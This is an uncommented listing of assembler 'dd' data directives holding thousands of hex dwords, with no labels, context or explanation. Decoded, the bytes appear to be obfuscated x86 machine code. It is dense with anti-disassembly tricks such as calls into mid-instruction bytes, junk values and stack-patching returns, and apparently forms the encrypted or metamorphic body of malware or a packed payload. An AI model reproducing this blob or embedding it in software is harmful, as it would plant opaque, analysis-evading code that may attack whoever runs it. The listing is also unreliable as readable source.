		dd 81042444h, 15042444h, 40000000h, 85FEC350h, 4DACC781h
		dd 66F87484h, 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0B64462C3h, 0AE8BF38h, 7B000000h
		dd 246B9348h, 707F0795h, 5FF38BA4h, 6AD82Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 336552C3h
		dd 0CE989ACh, 5C000000h, 0BA334BECh, 79B958DBh,	66920250h
		dd 502450BFh, 0AEC44BBEh, 241C891Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0B8C35040h,	329E8770h, 0EDB5FF8Dh
		dd 6A093528h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0B455C350h, 9326F904h,	57572089h
		dd 0EE9h, 0F2E2D100h, 56FDEABFh, 0A836A5ECh, 5F1B69EBh
		dd 2995FF5Fh, 6A093508h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 5CA1C350h, 0BFE77976h
		dd 51D1E260h, 0B0F88B66h, 14E900h, 0CBF80000h, 0C36CFE6Ch
		dd 5CE2237Dh, 35BC0909h, 499BB94Ah, 70E625A7h, 0B58971E4h
		dd 9351BA1h, 830F613Ch,	24Ah, 12E9h, 88F0500h, 98859DCh
		dd 7FF140CDh, 0C50A113Ah, 0FE8A1D0h, 0FA8BD8B6h, 6BAh
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 550DAEDEh, 0C38BF94Eh, 31A98529h, 0E8C10935h
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0C23C4143h, 0F0BEF7Bh, 6860Fh, 0BD290000h
		dd 9351681h, 1BC5B589h,	0F7660935h, 56006AE2h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0D82B34F6h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 98C35242h
		dd 6A5852h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 23857EC3h, 1503AA6Ah, 89275EFBh, 3522C9BDh
		dd 0D82BF809h, 154880Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0EBD95FC3h, 0B9F17428h
		dd 7, 2D2DB58Bh, 0C1830935h, 0E59D0900h, 6609351Ch, 3B29F8BEh
		dd 13860FD9h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 1E98C357h, 0B58B0B8Fh
		dd 9350691h, 4A5BD8Bh, 8C660935h, 4C1F6D9h, 0B5840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 95FFEDC3h, 9352471h,	23058529h, 2B5B0935h, 55006AC3h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 81665359h, 3D3B17EEh, 834h, 5D860Fh,	6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 56C01AC3h, 0DF7865C9h, 5DE9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 2C7A55Fh, 8D0F622Fh
		dd 6, 23E1B58Bh, 81600935h, 61FFE4E7h, 8B61F874h, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 62828A8Fh, 0BF663776h, 0C38B5C84h, 6AD88Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 992BC5C3h, 0C7138F96h, 352CED85h
		dd 0EA3DB09h, 0A5AEBE35h, 0C08B1FFAh, 26FFF681h, 0BD81778Eh
		dd 93528EDh, 7D0h, 38850Fh, 820F0000h, 0
		dd 28ED85FFh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 78CD31C3h, 6C8C5C77h, 895323C9h
		dd 352919B5h, 0B5FF5F09h, 93528EDh, 12E9h, 45D4AF00h, 5FBF0D48h
		dd 90E8BD77h, 0FF20C723h, 0FF7FAE60h, 35082995h, 56006A09h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 90F28B47h, 0F18B6640h, 3B9BD83h, 0F000935h, 8084h, 0FDBD0900h
		dd 3093503h, 350DF9B5h,	0F9BD8309h, 93515h, 67840Fh, 0BD890000h
		dd 9351E9Dh, 3B995FFh, 6A0935h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 3DF268C3h, 50FFD0A3h
		dd 840FC00Bh, 31h, 52F68166h, 28D8D09h,	8B09354Ch, 35023DBDh
		dd 4D858909h, 0B8093501h, 5, 0FE1FFF9h,	0C86h, 6850F00h
		dd 0F000000h, 86h, 0F5BD8300h, 93502h, 62C840Fh, 0B5290000h
		dd 9351281h, 15F9BD83h,	0F000935h, 61984h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 5173716Eh, 8DF08B66h, 352C098Dh, 0CDBD8B09h,	0C709350Ah
		dd 0B27C8401h, 4DBF6644h, 0CB018123h, 6A1499CFh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 4995C355h, 0E9CA6BE9h, 9, 71145E16h,	68B84739h, 441C7F2h
		dd 0CE706B34h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	3EC35141h, 90A6D696h, 6E8h, 9E1C7100h, 8968E639h
		dd 3525B1B5h, 41815E09h, 0D6D71004h, 75BD2931h,	8B09352Ah
		dd 3502A1BDh, 0E8006A09h, 12h, 1FDE45BAh, 55536164h, 7AFCBFF4h
		dd 177C4BD7h, 0BBF6DB7h, 5F4F0B19h, 2C09858Dh, 81660935h
		dd 5004E0C6h, 0CE8h, 93A20900h,	15ECE685h, 0CD5A4E8Eh
		dd 5B516093h, 61FE8B66h, 2404895Fh, 2F595FFh, 81660935h
		dd 8DB6B0F7h, 352C098Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0DA614D73h, 0BD8BFCE5h
		dd 9350295h, 1C7h, 81660000h, 0C7EC91D7h, 441h,	6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 8CE0C4C3h, 0DD55F2B0h, 0DE925BAh, 13000000h,	0DA28B15h
		dd 0E5543121h, 4DC226F6h, 0BB66F960h, 0B612F43h, 97840FC0h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 139AC356h, 0BD7A226Fh,	8B47620Dh
		dd 28D8DFAh, 6A09354Ch,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 4928C353h, 0F9DE9706h
		dd 0E8913D68h, 0Ch, 4A8C12A3h, 0A8898B6Ah, 5B27F6C4h, 5B85Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 7BD6F5C3h, 3758C93h, 3830Fh, 8B660000h, 0FE1FFF3h
		dd 8D8DF1B7h, 9352C09h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0F4C35646h, 0DC61B76Bh, 668974E0h, 0C74397BFh
		dd 0AA727C01h, 57006A44h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 563873Bh, 66AE41C5h, 66BC70BFh
		dd 0D943EE81h, 0CFCB0181h, 6A1499h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 8817F7C3h
		dd 850FF807h, 0Ah, 2D8D8B60h, 0B109352Dh, 41C76111h, 78753C04h
		dd 57006ACEh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 8142AD17h, 0D7100441h, 6A31D6h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 1D4049C3h, 57545B4Dh, 25A58589h, 6A0935h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0F0C35040h, 0A73728F4h
		dd 6F4E1DF3h, 8B0F52F7h, 2, 0F5EF38Bh, 38Dh, 0F3BF0F00h
		dd 2C09858Dh, 8D890935h, 9350345h, 0F08B6690h, 51525050h
		dd 8D0Fh, 0F5F0000h, 66525031h,	0F2FDDBFh, 5A5E5031h, 90585A58h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 21C35343h
		dd 10E9CC94h, 0DE000000h, 5E847995h, 31F0B0FAh,	8866E7F5h
		dd 0FF50588Ch, 3502F595h, 8B606009h, 0C58D33C7h, 6109352Ah
		dd 61D6BF0Fh, 2C098D8Dh, 0F6810935h, 795507ECh,	1C7h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0B2883CC3h, 441C7F5h, 0
		dd 0FF32E4BFh, 0FC00B45h, 7184h, 28D8D00h, 0F09354Ch, 0B8Eh
		dd 6E900h, 4E0D0000h, 8F52941Fh, 5B8h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 0DF4618F3h, 66480CC2h, 0F9480BFh, 87h, 6AE1FF00h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0E6DCC350h, 81669195h, 0F420CCEh, 8D8DFEB7h,	9352C09h
		dd 0FA8A6056h, 8C0Fh, 5F610000h, 95A501C7h, 850F54CAh
		dd 11h,	0AE956h, 0B09E0000h, 0A2848D94h, 3138EC0h, 0CB01815Fh
		dd 661499CFh, 3FBEF28Bh, 0C712CCC2h, 59690441h,	13E9CE5Fh
		dd 0E9000000h, 781020D2h, 1E974620h, 0AADAC40Ch, 0E18F5453h
		dd 4181CFD6h, 0D6D71004h, 51006A31h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 1DB7470Eh
		dd 6AC47CAAh, 9858D00h,	6A09352Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0C107C350h
		dd 50FAB70Fh, 66240489h, 42BEE681h, 2F595FFh, 0BF660935h
		dd 8D8DD94Dh, 9352C09h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 49C35343h, 13E19D89h,	1C70935h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 65C35242h
		dd 41C71339h, 4, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0E063341Bh, 88F0F75h
		dd 0F000000h, 284h, 8BF08B00h, 35043DBDh, 0FC00B09h, 5984h
		dd 9A06BF00h, 8D8D4821h, 9354C02h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0C5C35242h,	0FB92A377h, 0E88CAACDh
		dd 0Eh,	9B79F2CCh, 3892CE09h, 0A0EB915Bh, 0BD0BA405h, 9350FD9h
		dd 5B85Eh, 0BE660000h, 0BD8BFCB5h, 935246Dh, 0CA03E1FFh
		dd 0FFF143E9h, 55006AFFh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0B01536Dh, 0FDF22889h
		dd 14E909EEh, 6C000000h, 0B63D1752h, 0AA8B9DC7h, 252CD0DAh
		dd 0CAF06344h, 29898A24h, 352281BDh, 0AFA4BE09h, 0C18B65E2h
		dd 24C1BD89h, 4EB0935h,	0
		dd 3D9B58Bh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 858D00C3h, 9352659h, 0F90F78Bh
		dd 198Ch, 0DE86000h, 81000000h,	9EBD657Ch, 63BDA868h, 0AD96F7BBh
		dd 0C9B8665Bh, 66506160h, 6A90F08Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0FEBDC356h
		dd 28CC7F33h, 9ABE6656h, 6A5E69h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 5DC35141h, 0E254889Eh, 8B661A97h
		dd 0BE006AF3h, 7FCE062Dh, 128B0Fh, 0CE80000h, 4E000000h
		dd 22B134B1h, 0F6717BDCh, 5ED84ACAh, 0E8E9858Dh, 6A0938h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0E5076BC3h, 81669447h, 83005CDEh, 0F38B05C0h, 880F5090h
		dd 8, 2870Fh, 5E500000h, 6AF28B90h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0E018BD67h
		dd 9D896B90h, 935024Dh,	6AF78Bh, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0E8C35545h,	0AD011D2Ch, 3195FF3Ch
		dd 6A093503h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0A96AC356h, 0F28B669Dh, 9AAB9D8Dh
		dd 9D290938h, 935067Dh,	0C681D3FFh, 78DD413Bh, 300985FFh
		dd 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0FE82CEC3h, 386DFAAh, 0E9F33A51h,	8A5h, 0E8h
		dd 0ED815D00h, 938E8F3h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 19h, 0F5C35141h, 4269D01Dh, 0CE8166D8h, 0BD81DD76h
		dd 93528EDh, 7D0h, 124860Fh, 0B58B0000h, 9352ED9h, 12219D8Bh
		dd 8B660935h, 0E381F7h,	8B000001h, 35307DB5h, 0FDB0B09h
		dd 9085h, 15BD8900h, 8309350Eh,	38E732BDh, 840F0009h, 32h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 8C35141h
		dd 8D29E811h, 935291Dh,	0C7D8D31h, 84E90935h, 0F000000h
		dd 85C7F6BFh, 938E732h,	1, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0C8C35343h, 0E9F3B70Fh, 53h, 14E960h
		dd 5D4F0000h, 3A3627ABh, 70E89D12h, 0EDA701D7h,	86672CAAh
		dd 0DE8B44DBh, 3285C761h, 938E7h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0F07DC355h, 89A67EC4h, 35236D85h, 5B58B09h, 8D09350Bh
		dd 3512219Dh, 0E6816609h, 23818227h, 0FFFFFEFFh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0DC35141h, 5A401018h
		dd 9EE5ACCFh, 0BC6DBE80h, 8C664557h, 0E4BE66DBh, 4C3F631h
		dd 69840Fh, 8D010000h, 93526D1h, 247195FFh, 50900935h
		dd 9331D0BEh, 0F505E44h, 1B88h,	0E8525000h, 9, 4AB809EDh
		dd 7212C1AEh, 310F5E40h, 310F5250h, 585A585Ah, 56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 9FB5EE7h, 1FC4EF6Eh,	0AE9h, 64458800h, 3423CF17h, 0E979776Bh
		dd 3ACh, 70E600B0h, 6A71E4F5h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0FA34C357h,	0F67658Eh
		dd 6E9D8B6h, 0AD000000h, 0B03FF6CCh, 6BA8Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 66FA42C3h, 0B58BF78Bh, 9350455h, 6AC38Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0DF4983C3h
		dd 6DB58BEFh, 0C1093531h, 6A04E8h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 251E8EC3h, 668B7B2Eh
		dd 0A5EBCE81h, 0E9E2F766h, 0Eh,	515A7A41h, 0D4D92EB3h
		dd 3C3A80DFh, 0D82BA1EDh, 68E0Fh, 0C6810000h, 34D2A071h
		dd 0FE95393h, 8B000000h, 8E7B4329h, 0B24DAAD4h,	740FD888h
		dd 505EB8DEh, 93F08B66h, 28EDB5FFh, 95FF0935h, 9350829h
		dd 2E9B58Bh, 11E90935h,	2D000000h, 24612F97h, 14E392DBh
		dd 27192C24h, 0A37C97C4h, 9E900B0h, 32000000h, 133489Bh
		dd 0BCE930EBh, 6A70E6h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0F5FE4CC3h, 0D58D8B60h, 66093526h
		dd 325ED381h, 0EE961h, 61480000h, 26A7348Fh, 55DBFD61h
		dd 0FCF0450Ch, 6A71E4h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 33791AC3h, 0F613CE0h, 21B83h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 3BC974A0h, 0CE8B6044h, 1EC1852Bh, 0F610935h,	6AD8B6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8B136DC3h, 350495B5h, 6BA09h, 0F38B0000h, 6AC38Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 850164C3h, 9350B01h,	6A04E8C1h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0A12C356h
		dd 0F766F08Bh, 0D8B0FE2h, 0E8000000h, 7, 0B2DE2EDEh, 5E6C2DFBh
		dd 0BD89D82Bh, 9351B7Dh, 2BF28B58h, 55880FD8h, 6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 3154C355h, 3505919Dh, 0BE6609h, 7B96Dh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8F0FA9C3h, 17h, 0BE8h, 0A2640A00h, 0A6A2FAE0h, 7B07D1A4h
		dd 850Fh, 295E0000h, 35060195h,	0C18309h, 6158D89h, 0D93B0935h
		dd 0DA860Fh, 8C660000h,	5FF681D9h, 0F62FFF54h, 840F04C1h
		dd 0C0h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Bh,	95C35141h, 0F7EE836Eh, 810B20D3h, 0C2CC0EDEh, 7195FF0Ch
		dd 57093524h, 12E9h, 9026A400h,	0B3829531h, 1E2C1391h
		dd 0F4D1F33Bh, 5E10DD5Bh, 50006A5Bh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 9BC21CD5h
		dd 41C9AA38h, 6AC32B4Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0A07DC356h,	8343DA7h
		dd 860F0000h, 28h, 0E9F28B66h, 28h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 79C35545h, 42EE943Bh, 0BE66C08Bh
		dd 0F78BD45Fh, 0D88BC38Bh, 16F1B58Bh, 85C70935h, 9350441h
		dd 3B88C13Bh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 19h,	88C35141h, 4355E083h, 0A59D29C7h, 8B093526h, 66BE66C0h
		dd 0EDBD81D9h, 0D0093528h, 0F000007h, 3585h, 0D5B52300h
		dd 66093521h, 0FF1477BEh, 3528ED85h, 52006A09h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 29575090h
		dd 352D0995h, 0B5FF5E09h, 93528EDh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 9BC35343h, 0FF7AE1CBh, 35082995h
		dd 49BD0109h, 90093530h
		dd 6AD88Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 387EFEC3h, 83F3B70Fh, 352365BDh, 840F0009h
		dd 0Eh,	0E9F7BF0Fh, 214h, 0B9EEC681h, 0DF8C077Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0DEC35141h, 0C7F766F5h
		dd 850F0004h, 1E4h, 4F10F681h, 0BF4FF8h, 66000000h, 8DA843BEh
		dd 38F13C9Dh, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0D6816E6Ch, 61D4DEDDh, 0E9566050h
		dd 13h,	0C9902E78h, 7FB769EFh, 40E49A0h, 23B6713Bh, 5ED442CDh
		dd 14E9h, 0B6552500h, 0BEB907AFh, 3AEDF738h, 662D25E7h
		dd 40FB2756h, 1C89615Fh, 0CE816624h, 0FF644872h, 35h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 0AE23992h, 2865B58Bh, 89640935h, 25h, 8B5E5700h, 0E98D01C4h
		dd 0CD09352Fh, 8B00EB01h, 350A45B5h, 52006A09h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0EA48AC84h
		dd 7DBD89h, 8F640935h, 5, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 9CB5BC89h
		dd 2409B509h, 0C4830935h, 0BDBD0904h, 0B093522h, 0C5840FC0h
		dd 1000000h, 351EB9BDh,	0FBBE6609h, 2BD8D1Ah, 6A09354Ch
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0F440C357h, 5B878h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 40F11BC3h
		dd 31F6F635h, 66F28B03h, 0FFA19EBEh, 53006AE7h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 661AF990h
		dd 8B57F18Bh, 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h
		dd 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 1FC35747h, 9D89820Eh
		dd 9353339h, 65E9CA2Bh,	0E9FFFFF7h, 5, 0F9C0F70h, 6AC18B08h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0FCC3C353h, 4DD54B1Eh, 4EBB223h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 31C35242h
		dd 6D8D8B60h, 81093529h, 10EC3FE6h, 6A6109h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 858DCAC3h
		dd 9352659h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	81C35646h, 3F7DA711h, 60A9DBB1h, 0AE9h,	0AB5F8300h
		dd 3C086FD9h, 0F6F4ADBh, 9061FBB7h, 5E8h, 9CB09600h, 505F50DEh
		dd 8574BE66h, 0F1B58B90h, 6A09351Bh, 0B58B5100h, 9352CE1h
		dd 8D09605Fh, 93523B5h,	0F006A61h, 858DF9BFh, 938F3A8h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A9C35646h
		dd 0D3ECA413h, 697910C7h, 0C083F28Bh, 0B70F5705h, 0BE505EFEh
		dd 7B2D93D4h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0BA24C356h,	890F86h
		dd 6A000000h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0ED1C4E78h, 0FB2B2F81h, 69BD0184h
		dd 0E9093512h, 7, 45B90C69h, 6AE61DDBh,	0A6BF6600h, 3195FF38h
		dd 6A093503h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 160AC356h, 8F3DE6F4h, 8DB50B30h
		dd 8D09351Dh, 389AAB9Dh, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 9D890EE1h, 9351BC9h, 0CD5BD8Bh
		dd 0D3FF0935h, 8E8h, 0B069FE00h, 54C25789h, 53CE81FCh
		dd 5F5F4B81h, 85FFF88Bh, 9353009h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 88C35646h, 45E9C16Ah, 0E8000008h
		dd 0
		dd 0B2ED815Dh, 6A0938F3h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0ACB8C357h,	0B2103A9Ch
		dd 0D8D0Fh, 66600000h, 0D4EDE681h, 0BA5D381h, 81617A38h
		dd 3528EDBDh, 7D009h, 3F860F00h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 2FB6C355h
		dd 0B219D8Bh, 8D0F0935h, 15h, 10E9h, 736F4A00h,	0D59F3EF7h
		dd 9FFF2529h, 80F755ACh, 0E381E2h, 52000001h, 0DB0B5FFCh
		dd 0AD850Fh, 8B660000h,	0BABD83F2h, 938F1h, 67840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0F7A0EDC3h, 0FE98665h, 0B88h, 6E900h, 0D5DA0000h, 4CFCD986h
		dd 4850Fh, 0BF660000h, 6CE94E4Ah, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 89B7C350h, 0B891361Ch, 8B66B882h, 0BA85C7F8h, 10938F1h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 687FC356h, 0A4C69E73h,	16E9h
		dd 45B58B00h, 0C709352Bh, 38F1BA85h, 9,	25B58900h, 8D093510h
		dd 350B219Dh, 0FFBF0F09h, 27B18D89h, 23810935h,	0FFFFFEFFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 8FC35747h
		dd 8C66721Dh, 52006ADBh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0B58B2DCAh, 9350EC5h, 0F04C3F6h
		dd 6384h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 930AAF23h, 95FFFC2Dh, 9352471h, 8EA665BEh
		dd 0E850904Eh, 7, 0FD4DB7F7h, 5E226C6Fh, 53006A90h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 63E6029Ch, 1AAD7FDAh, 0F7BF0FD3h, 415E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 94B7156h, 3502A58Dh,	5000B009h, 0A518D29h, 0E65F0935h
		dd 95852970h, 0E409351Eh, 51006A71h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0BE90ADADh
		dd 0A55684B1h, 0D8B60F98h, 0BE8h, 81BEE000h, 0E743F1Ah
		dd 306D7C49h, 0ABDB52Bh, 0BA5F0935h, 6,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 8DC35343h, 25B331Ah
		dd 0C38BDDFBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	67C35747h, 11A55943h, 0F8510C3h, 28Eh, 0C1F28B00h
		dd 6A04E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 43D077C3h, 2C91B589h, 0F7660935h,	56006AE2h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 107CF68Bh, 0E9031EC4h, 800F3C1Dh, 14h, 0FE9h, 0F5CE6200h
		dd 6209174Eh, 56A39BEBh, 9EDFB23Ah, 6053D82Bh, 2ADDBD03h
		dd 8D330935h, 93525E1h,	8B505E61h, 241C89F3h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0DCC35545h, 0EDB5FFFCh
		dd 6A093528h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 363BC353h, 0C0EB71F6h,	82995FFh
		dd 5F530935h, 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 2034BAC3h, 0FE944A2h, 6E000000h
		dd 0B5B91CDAh, 13FA1377h, 65CBCFCFh, 70E6AE12h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 75C35646h, 6A71E4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0C3BF8EC3h, 3C29C843h, 0FF830F61h, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 489DC351h, 0C8BABF75h, 0B58B1522h, 9350E1Dh,	89D8B60Fh
		dd 3525FD8Dh, 6BA09h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 75E2D2C3h, 119D01F9h
		dd 0E809352Ch, 10h, 546E8CF6h, 1CEEC6F8h, 92DA1C8Dh, 8435BEACh
		dd 1259501h, 8B5E0935h,	6800FC3h, 81000000h, 0CEE9D6E6h
